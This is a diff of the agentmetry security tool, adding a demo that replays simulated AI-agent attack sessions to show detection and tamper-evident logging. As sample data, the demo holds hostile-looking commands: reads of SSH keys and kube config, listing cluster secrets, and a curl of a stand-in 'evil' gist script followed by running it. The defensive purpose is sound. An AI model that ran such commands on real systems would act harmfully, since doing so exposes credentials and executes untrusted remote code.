  270. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_shared_install.py +0 -0
  271. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_sigma_pack.py +0 -0
  272. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_static_serving.py +0 -0
  273. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_subagent_lifecycle.py +0 -0
  274. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_suite_leaves_real_home_alone.py +0 -0
  275. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_tool_policy.py +0 -0
  276. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_tool_policy_agent_cli.py +0 -0
  277. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_tool_policy_git_hooks.py +0 -0
  278. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_trail_anchor.py +0 -0
  279. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_trail_chain.py +0 -0
  280. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_trail_concurrency.py +0 -0
  281. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_trail_merkle.py +0 -0
  282. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_trusted_host.py +0 -0
  283. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_unattended_agent_policy.py +0 -0
  284. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_version.py +0 -0
  285. {agentmetry-0.9.3 → agentmetry-0.9.5}/tests/test_yaml_detection_rules.py +0 -0
  286. {agentmetry-0.9.3 → agentmetry-0.9.5}/tools/mcp_audit_proxy.py +0 -0
  287. {agentmetry-0.9.3 → agentmetry-0.9.5}/tools/vault_fs_server.py +0 -0
@@ -100,3 +100,11 @@ docs/*-audit-*.md
100
100
  # pytest-cov data file
101
101
  .coverage
102
102
  .coverage.*
103
+
104
+ # Demo video renders and their working files (scripts/make_demo_video.py).
105
+ # The site serves its own copy from ai-audit-watch/public/video/.
106
+ docs/assets/*.mp4
107
+ docs/assets/agentmetry-demo-poster.png
108
+ docs/assets/agentmetry-linkedin-*-poster.png
109
+ docs/assets/voice/
110
+ docs/assets/demo-stills/
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: agentmetry
3
- Version: 0.9.3
3
+ Version: 0.9.5
4
4
  Summary: Local-first flight recorder for AI coding agents: hash-chained audit trail, MITRE-mapped sequence detection, DLP
5
5
  Project-URL: Homepage, https://agentmetry.ai
6
6
  Project-URL: Source, https://github.com/blitzcrieg1/agentmetry
@@ -37,7 +37,7 @@ Provides-Extra: dev
37
37
  Requires-Dist: pytest-asyncio>=0.24; extra == 'dev'
38
38
  Requires-Dist: pytest-cov>=6.0; extra == 'dev'
39
39
  Requires-Dist: pytest>=8.0; extra == 'dev'
40
- Requires-Dist: ruff==0.16.9; extra == 'dev'
40
+ Requires-Dist: ruff==0.16.10; extra == 'dev'
41
41
  Description-Content-Type: text/markdown
42
42
 
43
43
  # Agentmetry
@@ -1273,6 +1273,13 @@ def cmd_benchmark(args: argparse.Namespace) -> int:
1273
1273
  return 0 if report.passed else 1
1274
1274
 
1275
1275
 
1276
+ def cmd_demo(args: argparse.Namespace) -> int:
1277
+ """Replay an attack session through the real ingest path, then tamper with it."""
1278
+ from agentmetry.demo import run
1279
+
1280
+ return run(args.scenario, fast=args.fast)
1281
+
1282
+
1276
1283
  def cmd_doctor(args: argparse.Namespace) -> int:
1277
1284
  """SIEM preflight: manifests, trail chain, orchestrator health, hooks."""
1278
1285
  sys.path.insert(0, str(_ORCH_ROOT))
@@ -1290,7 +1297,7 @@ def main(argv: list[str] | None = None) -> int:
1290
1297
  # A Windows console defaults to cp1252 and cannot encode the dashes this CLI
1291
1298
  # prints, so `verify --trail` rendered as "OK ? 422 chained line(s)". That is
1292
1299
  # the flagship trust command; it must not look broken on the primary dogfood
1293
- # platform. Same guard as scripts/demo.py.
1300
+ # platform. Same guard as agentmetry/demo.py.
1294
1301
  try:
1295
1302
  sys.stdout.reconfigure(encoding="utf-8") # type: ignore[union-attr]
1296
1303
  except Exception: # noqa: S110 # pragma: no cover - host console dependent
@@ -1309,9 +1316,21 @@ def main(argv: list[str] | None = None) -> int:
1309
1316
 
1310
1317
  return proxy_main(raw[1:])
1311
1318
 
1312
- parser = argparse.ArgumentParser(prog="agentmetry", description="Agentmetry local ops")
1319
+ parser = argparse.ArgumentParser(
1320
+ prog="agentmetry",
1321
+ description="Agentmetry local ops. New here? Start with `agentmetry demo`.",
1322
+ )
1313
1323
  parser.add_argument("--port", type=int, default=8000)
1314
1324
  sub = parser.add_subparsers(dest="command", required=True)
1325
+ # First, so it heads the help: it is the one command that needs nothing set up.
1326
+ from agentmetry.demo import add_arguments as _demo_arguments
1327
+
1328
+ _demo_arguments(
1329
+ sub.add_parser(
1330
+ "demo",
1331
+ help="watch an agent get caught and the record refuse a rewrite (in-process, nothing kept)",
1332
+ )
1333
+ )
1315
1334
 
1316
1335
  sub.add_parser("stop", help="stop the orchestrator")
1317
1336
  start = sub.add_parser("start", help="start the orchestrator (detached)")
@@ -1546,6 +1565,7 @@ def main(argv: list[str] | None = None) -> int:
1546
1565
 
1547
1566
  args = parser.parse_args(argv)
1548
1567
  handlers = {
1568
+ "demo": cmd_demo,
1549
1569
  "start": cmd_start,
1550
1570
  "serve": cmd_serve,
1551
1571
  "stop": cmd_stop,
@@ -170,7 +170,7 @@ def attach_atlas(tool: Any) -> None:
170
170
  # adversary technique a whole sequence is evidence of, which is a claim only a
171
171
  # rule can make and never a single call.
172
172
  #
173
- # Deliberately small. Of the fifteen built-in rules, one describes an ATLAS
173
+ # Deliberately small. Of the fourteen published rules, one describes an ATLAS
174
174
  # technique; the rest are host and operations behaviour that ATT&CK already
175
175
  # covers, and tagging them would put an AI-threat label on a shell command.
176
176
  # The empty entries are the design, not a backlog.
@@ -1,4 +1,4 @@
1
- """Map durable outbox rows to Agentmetry canonical events (schema v1.1.0)."""
1
+ """Map durable outbox rows to Agentmetry canonical events (schema v1.2.0)."""
2
2
 
3
3
  from __future__ import annotations
4
4
 
@@ -221,7 +221,8 @@ def _check_trail(report: DoctorReport) -> None:
221
221
  if not trail.is_file():
222
222
  report.warn(
223
223
  "trail",
224
- f"No trail yet at {trail.name} - run `python scripts/demo.py` or capture a session",
224
+ f"No trail yet at {trail.name} - `agentmetry hooks install` records the next "
225
+ "agent session, and `agentmetry demo` shows one without touching this machine",
225
226
  )
226
227
  return
227
228
  from agentmetry.core.audit.trail_chain import verify_trail_file
@@ -702,7 +703,17 @@ def run_doctor(
702
703
  if env_file.is_file():
703
704
  report.ok("env", f"Found {env_file} (secrets stay gitignored)")
704
705
  else:
705
- report.warn("env", f"No {env_file} - copy from .env.example if needed")
706
+ example = paths.PACKAGE_PARENT / ".env.example"
707
+ if paths.is_checkout() and example.is_file():
708
+ report.warn("env", f"No {env_file} - copy {example} to change a default")
709
+ else:
710
+ # An installed package ships no .env.example and needs no .env: every
711
+ # setting has a default. Telling a pip user to copy a file they do not
712
+ # have was the first thing a fresh install got wrong.
713
+ report.ok(
714
+ "env",
715
+ f"No .env, so defaults are in use. Any AGENTMETRY_* setting can go in {env_file}",
716
+ )
706
717
 
707
718
  data_dir = paths.data_dir()
708
719
  legacy = paths.legacy_site_packages_data()
@@ -10,4 +10,4 @@ Bump this here and add the matching CHANGELOG section in the same commit.
10
10
 
11
11
  from __future__ import annotations
12
12
 
13
- __version__ = "0.9.3"
13
+ __version__ = "0.9.5"
@@ -0,0 +1,472 @@
1
+ """`agentmetry demo`: watch an AI agent exfiltrate a secret, get caught, and
2
+ then watch the record refuse to be rewritten.
3
+
4
+ Runs entirely in-process against a throwaway data directory. No server, no
5
+ token, no network, no config, and nothing on this machine is read or written
6
+ outside a temp directory that is deleted on the way out.
7
+
8
+ agentmetry demo # classic credential-exfil chain
9
+ agentmetry demo --scenario hf # HF July 2026 agentic patterns
10
+ agentmetry demo --scenario all # both
11
+
12
+ The classic scenario replays a realistic agent session through the *real*
13
+ ingest API, the same code path a Claude Code or Cursor hook uses:
14
+
15
+ 1. The agent reads an SSH private key. -> MITRE T1552.004
16
+ 2. The agent runs a command containing an -> DLP: aws_access_key
17
+ AWS key. (value never stored)
18
+ 3. The agent fetches a URL. -> MITRE T1071.001
19
+ 4. Nobody asked. Agentmetry correlates 1+3
20
+ and fires a CRITICAL detection by itself. -> credential-exfil
21
+
22
+ Then it verifies the hash chain, downgrades the CRITICAL to low the way
23
+ someone covering their tracks would, and shows the verify fail. No single
24
+ event above is an alert. The *sequence* is, and the record of it holds.
25
+
26
+ This lived in `scripts/demo.py`, which a `pip install` does not ship, so the
27
+ one command that shows a stranger what the product does was the one command
28
+ they could not run. It also broke silently in 0.9.3, when the per-install token
29
+ and the host guard started refusing its in-process client, and it only ever
30
+ redirected the trail: the live-detection, disposition and audit databases, and
31
+ the reset it ran on the live store, were the user's real ones.
32
+ """
33
+
34
+ from __future__ import annotations
35
+
36
+ import argparse
37
+ import json
38
+ import logging
39
+ import os
40
+ import shutil
41
+ import sys
42
+ import tempfile
43
+ import time
44
+ import warnings
45
+ from contextlib import contextmanager
46
+ from pathlib import Path
47
+ from typing import Any, Iterator
48
+
49
+ # AWS's published, non-functional example key. Not a real credential.
50
+ FAKE_AWS_KEY = "AKIA" + "IOSFODNN7EXAMPLE" # gitleaks:allow
51
+
52
+ _COLOURS = {
53
+ "dim": "\033[2m", "red": "\033[91m", "green": "\033[92m", "yellow": "\033[93m",
54
+ "blue": "\033[96m", "bold": "\033[1m", "off": "\033[0m",
55
+ }
56
+ C = dict(_COLOURS)
57
+ _FAST = False
58
+ _BAR = "-"
59
+
60
+ # Every setting that names a file the demo's code path writes. Each one is
61
+ # pointed into the temp directory for the run and restored afterwards.
62
+ _PATH_SETTINGS = {
63
+ "audit_export_path": "audit-forward.jsonl",
64
+ "audit_db_path": "audit.db",
65
+ "detection_live_db_path": "detection_live.db",
66
+ "detection_disposition_db_path": "detection_disposition.db",
67
+ }
68
+
69
+
70
+ def _configure_output(*, fast: bool) -> None:
71
+ global C, _FAST, _BAR
72
+ _FAST = fast or os.environ.get("AGENTMETRY_DEMO_FAST", "").strip() in ("1", "true", "yes")
73
+ # AGENTMETRY_DEMO_COLOR=1 keeps the ANSI codes when stdout is a pipe, so the
74
+ # GIF recorder renders the demo's real output instead of a mock-up.
75
+ force = os.environ.get("AGENTMETRY_DEMO_COLOR", "").strip() in ("1", "true", "yes")
76
+ C = dict(_COLOURS) if (sys.stdout.isatty() or force) else dict.fromkeys(_COLOURS, "")
77
+ # A Windows console defaults to cp1252 and cannot encode box-drawing
78
+ # characters. The demo is the first thing a stranger runs; it must never
79
+ # die on a glyph.
80
+ try:
81
+ sys.stdout.reconfigure(encoding="utf-8") # type: ignore[union-attr]
82
+ _BAR = "─"
83
+ except Exception: # noqa: S110 # pragma: no cover - depends on the host console
84
+ _BAR = "-"
85
+
86
+
87
+ def say(text: str = "", pause: float = 0.45) -> None:
88
+ try:
89
+ print(text)
90
+ except UnicodeEncodeError:
91
+ print(text.encode("ascii", "replace").decode("ascii"))
92
+ sys.stdout.flush()
93
+ if not _FAST:
94
+ time.sleep(pause)
95
+
96
+
97
+ def rule(title: str) -> None:
98
+ say(f"\n{C['bold']}{title}{C['off']}\n{C['dim']}{_BAR * 62}{C['off']}", 0.3)
99
+
100
+
101
+ def _reset_singletons() -> None:
102
+ from agentmetry.core.audit.detection.disposition import reset_disposition_store
103
+ from agentmetry.core.audit.detection.live_store import reset_live_store_singleton
104
+ from agentmetry.core.audit.ingest import reset_ingest_sink_cache, reset_pending_approvals
105
+ from agentmetry.core.audit.trail_db import reset_trail_db
106
+
107
+ reset_trail_db()
108
+ reset_live_store_singleton()
109
+ reset_disposition_store()
110
+ reset_ingest_sink_cache()
111
+ reset_pending_approvals()
112
+
113
+
114
+ @contextmanager
115
+ def isolated_settings(root: Path) -> Iterator[Any]:
116
+ """Point every store the ingest path touches at `root`, then put it all back.
117
+
118
+ Auth is off and the TestClient's host is trusted for the duration: the
119
+ client is in-process, there is no socket for anything else to reach, and
120
+ the token file belongs to the real install, so the demo must not create one.
121
+ """
122
+ from agentmetry.core.config import settings
123
+
124
+ overrides: dict[str, Any] = {name: root / file for name, file in _PATH_SETTINGS.items()}
125
+ overrides.update(
126
+ audit_export_enabled=True,
127
+ audit_sink="file",
128
+ dlp_mode="log",
129
+ auth_disabled=True,
130
+ trusted_hosts="testserver",
131
+ operator_id="",
132
+ )
133
+ saved = {name: getattr(settings, name) for name in overrides}
134
+ for name, value in overrides.items():
135
+ setattr(settings, name, value)
136
+ _reset_singletons()
137
+ try:
138
+ yield settings
139
+ finally:
140
+ _reset_singletons()
141
+ for name, value in saved.items():
142
+ setattr(settings, name, value)
143
+
144
+
145
+ class DemoContext:
146
+ def __init__(self, client: Any, scan: Any) -> None:
147
+ self.client = client
148
+ self.scan = scan
149
+
150
+ def step(
151
+ self,
152
+ corr: str,
153
+ desc: str,
154
+ tool: str,
155
+ command: str,
156
+ app_name: str = "cursor",
157
+ ) -> None:
158
+ say(f" {C['blue']}agent{C['off']} {desc}")
159
+ say(f" {C['dim']}$ {command}{C['off']}", 0.2)
160
+ payload: dict[str, Any] = {
161
+ "source_app": app_name,
162
+ "event_type": "tool_called",
163
+ "correlation_id": corr,
164
+ "tool": {"qualified": tool, "command": command},
165
+ }
166
+ verdict = self.scan(tool, {"command": command})
167
+ if verdict.matched:
168
+ payload["dlp"] = {
169
+ "rule_id": verdict.match.rule_id,
170
+ "mode": verdict.mode,
171
+ "pattern_type": verdict.match.pattern_type,
172
+ "category": verdict.match.category,
173
+ "severity": verdict.match.severity,
174
+ "rule_ids": [m.rule_id for m in verdict.matches],
175
+ }
176
+ say(f" {C['yellow']}DLP{C['off']} matched {C['bold']}{verdict.match.rule_id}"
177
+ f"{C['off']} ({verdict.match.severity}), value NOT stored")
178
+ response = self.client.post("/api/v1/audit/ingest", json=payload)
179
+ # The old script ignored this, so a refused request surfaced three steps
180
+ # later as a missing file. Say what actually happened.
181
+ if response.status_code >= 400:
182
+ raise RuntimeError(f"ingest refused the event: HTTP {response.status_code} {response.text}")
183
+ say("", 0.35)
184
+
185
+
186
+ def _events(trail: Path) -> list[dict[str, Any]]:
187
+ from agentmetry.core.audit.trail_chain import unwrap_trail_record
188
+
189
+ return [
190
+ unwrap_trail_record(json.loads(line))
191
+ for line in trail.read_text(encoding="utf-8").splitlines()
192
+ if line.strip()
193
+ ]
194
+
195
+
196
+ def show_trail(settings: Any, sessions: set[str]) -> tuple[list[dict[str, Any]], list[dict[str, Any]]]:
197
+ events = [
198
+ e for e in _events(Path(settings.audit_export_path)) if e.get("correlation_id") in sessions
199
+ ]
200
+ detections = []
201
+ for e in events:
202
+ action = e.get("action") or {}
203
+ if action.get("type") == "detection":
204
+ detections.append(e)
205
+ continue
206
+ tool = (e.get("tool") or {}).get("qualified", "")
207
+ mitre = (e.get("tool") or {}).get("mitre") or {}
208
+ tech = mitre.get("technique_id", "-")
209
+ tactic = mitre.get("tactic", "")
210
+ dlp = (e.get("dlp") or {}).get("rule_id", "")
211
+ colour = C["red"] if tech.startswith("T1552") else C["dim"]
212
+ line = f" {colour}{tool:14}{C['off']} {tech:11} {C['dim']}{tactic}{C['off']}"
213
+ if dlp:
214
+ line += f" {C['yellow']}[dlp:{dlp}]{C['off']}"
215
+ say(line, 0.3)
216
+ return events, detections
217
+
218
+
219
+ def show_detections(detections: list[dict[str, Any]], *, expect: set[str]) -> int:
220
+ rule("Correlated detection (nobody asked for this)")
221
+ if not detections:
222
+ say(f" {C['red']}No detection fired. That is a bug.{C['off']}")
223
+ return 1
224
+ fired: set[str] = set()
225
+ for d in detections:
226
+ det = d["detection"]
227
+ fired.add(det["rule_id"])
228
+ say(f" {C['red']}{C['bold']}[{det['severity'].upper()}] {det['rule_id']}{C['off']}")
229
+ say(f" {det['summary']}")
230
+ say(f" {C['dim']}ATT&CK: {' -> '.join(det['technique_ids'])} · "
231
+ f"correlates {len(det['event_ids'])} events{C['off']}", 0.6)
232
+ if not expect.issubset(fired):
233
+ missing = ", ".join(sorted(expect - fired))
234
+ say(f" {C['red']}Expected detection(s) missing: {missing}{C['off']}")
235
+ return 1
236
+ return 0
237
+
238
+
239
+ def _rehash_from(lines: list[dict[str, Any]], start: int) -> None:
240
+ """Recompute every record hash from index `start` on, in place."""
241
+ from agentmetry.core.audit.trail_chain import compute_record_sha256
242
+
243
+ prev = lines[start - 1]["trail"]["record_sha256"] if start else lines[0]["trail"]["prev_sha256"]
244
+ for record in lines[start:]:
245
+ record["trail"]["prev_sha256"] = prev
246
+ record["trail"]["record_sha256"] = compute_record_sha256(prev, record["event"])
247
+ prev = record["trail"]["record_sha256"]
248
+
249
+
250
+ def _write_lines(path: Path, lines: list[dict[str, Any]]) -> None:
251
+ path.write_text("".join(json.dumps(r, separators=(",", ":")) + "\n" for r in lines), encoding="utf-8")
252
+
253
+
254
+ def run_tamper(settings: Any, scratch: Path) -> int:
255
+ """Verify the trail, rewrite the alert, and show what catches it.
256
+
257
+ Two attempts, because they are caught by different things and the second
258
+ is the honest part. Editing a record breaks its hash. Re-hashing everything
259
+ after the edit produces a chain that verifies, and only a head recorded
260
+ somewhere the host cannot write tells the two apart.
261
+ """
262
+ from agentmetry.core.audit.trail_chain import verify_trail_file
263
+
264
+ trail = Path(settings.audit_export_path)
265
+ rule("Now try to rewrite it")
266
+
267
+ before = verify_trail_file(trail)
268
+ if not before.ok:
269
+ say(f" {C['red']}The fresh trail does not verify: {before.message}. That is a bug.{C['off']}")
270
+ return 1
271
+ say(f" agentmetry verify --trail {C['green']}OK{C['off']}, {before.lines_chained} chained records")
272
+ say(f" {C['dim']}head: seq {before.head_seq}, sha256 {before.head_sha256[:16]}...{C['off']}", 0.6)
273
+
274
+ lines = [json.loads(line) for line in trail.read_text(encoding="utf-8").splitlines() if line.strip()]
275
+ target = next(
276
+ (i for i, r in enumerate(lines) if (r["event"].get("action") or {}).get("type") == "detection"),
277
+ None,
278
+ )
279
+ if target is None:
280
+ say(f" {C['red']}No detection record to tamper with. That is a bug.{C['off']}")
281
+ return 1
282
+
283
+ say(f"\n {C['blue']}someone{C['off']} downgrades the CRITICAL detection to low, in place", 0.5)
284
+ lines[target]["event"]["detection"]["severity"] = "low"
285
+ _write_lines(trail, lines)
286
+ edited = verify_trail_file(trail)
287
+ if edited.ok:
288
+ say(f" {C['red']}The edited trail still verifies. That is a bug.{C['off']}")
289
+ return 1
290
+ say(f" agentmetry verify --trail {C['red']}FAIL{C['off']}, {edited.message}", 0.7)
291
+
292
+ say(f"\n {C['blue']}someone{C['off']} re-hashes every record after the edit, as anyone "
293
+ "with the whole machine could", 0.5)
294
+ _rehash_from(lines, target)
295
+ # A separate file with no sidecar beside it: this attacker has rewritten
296
+ # that too, so nothing on the host remembers the original head.
297
+ forged = scratch / "forged" / trail.name
298
+ forged.parent.mkdir()
299
+ _write_lines(forged, lines)
300
+ rehashed = verify_trail_file(forged)
301
+ if not rehashed.ok:
302
+ say(f" {C['red']}The re-hashed copy should verify on its own: {rehashed.message}{C['off']}")
303
+ return 1
304
+ say(f" agentmetry verify --trail {C['green']}OK{C['off']}, and that is the point")
305
+ same = rehashed.head_sha256 == before.head_sha256
306
+ say(f" {C['dim']}head: seq {rehashed.head_seq}, sha256 {rehashed.head_sha256[:16]}...{C['off']}"
307
+ f" {C['red'] + 'unchanged, that is a bug' if same else C['yellow'] + 'not the head recorded above'}"
308
+ f"{C['off']}", 0.6)
309
+ say("\n A chain catches an edit. Only a head kept off the machine catches a rewrite,")
310
+ say(f" which is what {C['bold']}agentmetry anchor{C['off']} publishes.", 0.6)
311
+ return 1 if same else 0
312
+
313
+
314
+ def run_classic(ctx: DemoContext, settings: Any) -> int:
315
+ corr = "demo-session-1"
316
+
317
+ rule("The session")
318
+ ctx.step(corr, "reads a private key", "cursor.Read", "cat ~/.ssh/id_rsa")
319
+ ctx.step(
320
+ corr,
321
+ "writes a cloud key into a config file",
322
+ "cursor.Shell",
323
+ f"echo aws_access_key_id={FAKE_AWS_KEY} >> ~/.aws/credentials",
324
+ )
325
+ ctx.step(corr, "fetches a URL", "WebFetch", "fetch https://paste.example.com/upload", "claude")
326
+
327
+ rule("What Agentmetry recorded")
328
+ events, detections = show_trail(settings, {corr})
329
+
330
+ err = show_detections(detections, expect={"credential-exfil"})
331
+
332
+ rule("The receipts")
333
+ leaked = FAKE_AWS_KEY in Path(settings.audit_export_path).read_text(encoding="utf-8")
334
+ api_count = ctx.client.get(f"/api/v1/audit/detections/{corr}").json()["count"]
335
+ say(f" Secret value in the trail? "
336
+ f"{C['red'] + 'YES, BUG' if leaked else C['green'] + 'NO'}{C['off']}")
337
+ say(f" Detections from the trail: {C['bold']}{api_count}{C['off']} "
338
+ f"{C['dim']}via GET /api/v1/audit/detections/{{id}}{C['off']}")
339
+ say(f" Events a SIEM sink receives: {C['bold']}{len(events)}{C['off']} "
340
+ f"{C['dim']}(Splunk, Elastic, Sentinel, SecOps, Loki){C['off']}")
341
+ return 1 if leaked or err else 0
342
+
343
+
344
+ def run_hf(ctx: DemoContext, settings: Any) -> int:
345
+ corr_cloud = "demo-hf-cloud"
346
+ corr_stage = "demo-hf-staging"
347
+
348
+ rule("HF July 2026: agentic intrusion patterns")
349
+ say(f"{C['dim']}Inspired by Hugging Face's July 2026 disclosure: autonomous agents "
350
+ f"harvesting credentials and staging C2 on public hosts.{C['off']}", 0.6)
351
+
352
+ rule("Session 1: credential harvest, then the cloud API")
353
+ ctx.step(corr_cloud, "reads cluster credentials", "cursor.Read", "cat ~/.kube/config")
354
+ ctx.step(corr_cloud, "queries the cluster API", "cursor.Shell", "kubectl get secrets -A")
355
+
356
+ rule("Session 2: staged download, then execution")
357
+ ctx.step(
358
+ corr_stage,
359
+ "fetches a payload from a public gist",
360
+ "cursor.Shell",
361
+ "curl -s https://gist.githubusercontent.com/evil/raw/stage.sh -o /tmp/stage.sh",
362
+ )
363
+ ctx.step(corr_stage, "runs the staged script", "cursor.Shell", "bash /tmp/stage.sh")
364
+
365
+ rule("What Agentmetry recorded")
366
+ _, detections = show_trail(settings, {corr_cloud, corr_stage})
367
+
368
+ err = show_detections(
369
+ detections,
370
+ expect={"credential-read-then-cloud-api", "remote-staging-then-execute"},
371
+ )
372
+
373
+ rule("The receipts")
374
+ cloud_count = ctx.client.get(f"/api/v1/audit/detections/{corr_cloud}").json()["count"]
375
+ stage_count = ctx.client.get(f"/api/v1/audit/detections/{corr_stage}").json()["count"]
376
+ say(f" Cloud session detections: {C['bold']}{cloud_count}{C['off']} "
377
+ f"{C['dim']}({corr_cloud}){C['off']}")
378
+ say(f" Staging session detections: {C['bold']}{stage_count}{C['off']} "
379
+ f"{C['dim']}({corr_stage}){C['off']}")
380
+ return err
381
+
382
+
383
+ def next_steps() -> None:
384
+ rule("Record your own agents")
385
+ say(f" {C['bold']}agentmetry hooks install{C['off']} "
386
+ f"{C['dim']}hook every supported agent on this machine{C['off']}", 0.15)
387
+ say(f" {C['bold']}agentmetry start{C['off']} "
388
+ f"{C['dim']}run the recorder{C['off']}", 0.15)
389
+ say(f" {C['bold']}agentmetry dashboard{C['off']} "
390
+ f"{C['dim']}open it, signed in{C['off']}", 0.15)
391
+ say(f" {C['bold']}agentmetry doctor{C['off']} "
392
+ f"{C['dim']}check what is and is not being recorded{C['off']}", 0.15)
393
+ say(f"\n{C['dim']}The demo ran in a temp directory, now deleted. Nothing left this machine.{C['off']}\n",
394
+ 0.1)
395
+
396
+
397
+ def run(scenario: str = "classic", *, fast: bool = False) -> int:
398
+ """Run the demo and return a process exit code (0 when every check held)."""
399
+ _configure_output(fast=fast)
400
+ logging.disable(logging.WARNING)
401
+ tmp = Path(tempfile.mkdtemp(prefix="agentmetry-demo-"))
402
+ # Anything that resolves the data directory on its own during the run,
403
+ # such as the API's log file on first import, resolves to the temp one.
404
+ saved_env = os.environ.get("AGENTMETRY_DATA_DIR")
405
+ os.environ["AGENTMETRY_DATA_DIR"] = str(tmp / "data")
406
+ try:
407
+ with warnings.catch_warnings():
408
+ warnings.simplefilter("ignore")
409
+ (tmp / "data").mkdir()
410
+ with isolated_settings(tmp / "data") as settings:
411
+ from fastapi.testclient import TestClient
412
+
413
+ from agentmetry.api.main import app
414
+ from agentmetry.core.audit.dlp import scan
415
+
416
+ client = TestClient(app)
417
+ ctx = DemoContext(client, scan)
418
+
419
+ rule("AGENTMETRY: the local flight recorder for AI coding agents")
420
+ say(f"{C['dim']}Replaying agent sessions through the real ingest API, "
421
+ f"into a throwaway trail.{C['off']}", 0.8)
422
+
423
+ code = 0
424
+ if scenario in ("classic", "all"):
425
+ code |= run_classic(ctx, settings)
426
+ if scenario in ("hf", "all"):
427
+ code |= run_hf(ctx, settings)
428
+ code |= run_tamper(settings, tmp)
429
+ next_steps()
430
+ return code
431
+ finally:
432
+ if saved_env is None:
433
+ os.environ.pop("AGENTMETRY_DATA_DIR", None)
434
+ else:
435
+ os.environ["AGENTMETRY_DATA_DIR"] = saved_env
436
+ _close_handlers_under(tmp)
437
+ logging.disable(logging.NOTSET)
438
+ shutil.rmtree(tmp, ignore_errors=True)
439
+
440
+
441
+ def _close_handlers_under(root: Path) -> None:
442
+ """Detach log handlers writing into `root`. Windows cannot delete an open file."""
443
+ logger = logging.getLogger()
444
+ for handler in list(logger.handlers):
445
+ name = getattr(handler, "baseFilename", "")
446
+ if name and Path(name).resolve().is_relative_to(root.resolve()):
447
+ logger.removeHandler(handler)
448
+ handler.close()
449
+
450
+
451
+ def add_arguments(parser: argparse.ArgumentParser) -> None:
452
+ parser.add_argument(
453
+ "--scenario",
454
+ choices=("classic", "hf", "all"),
455
+ default="classic",
456
+ help="classic: credential exfil (default); hf: HF July 2026 patterns; all: both",
457
+ )
458
+ parser.add_argument("--fast", action="store_true", help="no pauses between steps")
459
+
460
+
461
+ def main(argv: list[str] | None = None) -> int:
462
+ parser = argparse.ArgumentParser(
463
+ prog="agentmetry demo",
464
+ description="Agentmetry live demo (in-process, no network, nothing kept).",
465
+ )
466
+ add_arguments(parser)
467
+ args = parser.parse_args(argv)
468
+ return run(args.scenario, fast=args.fast)
469
+
470
+
471
+ if __name__ == "__main__":
472
+ raise SystemExit(main())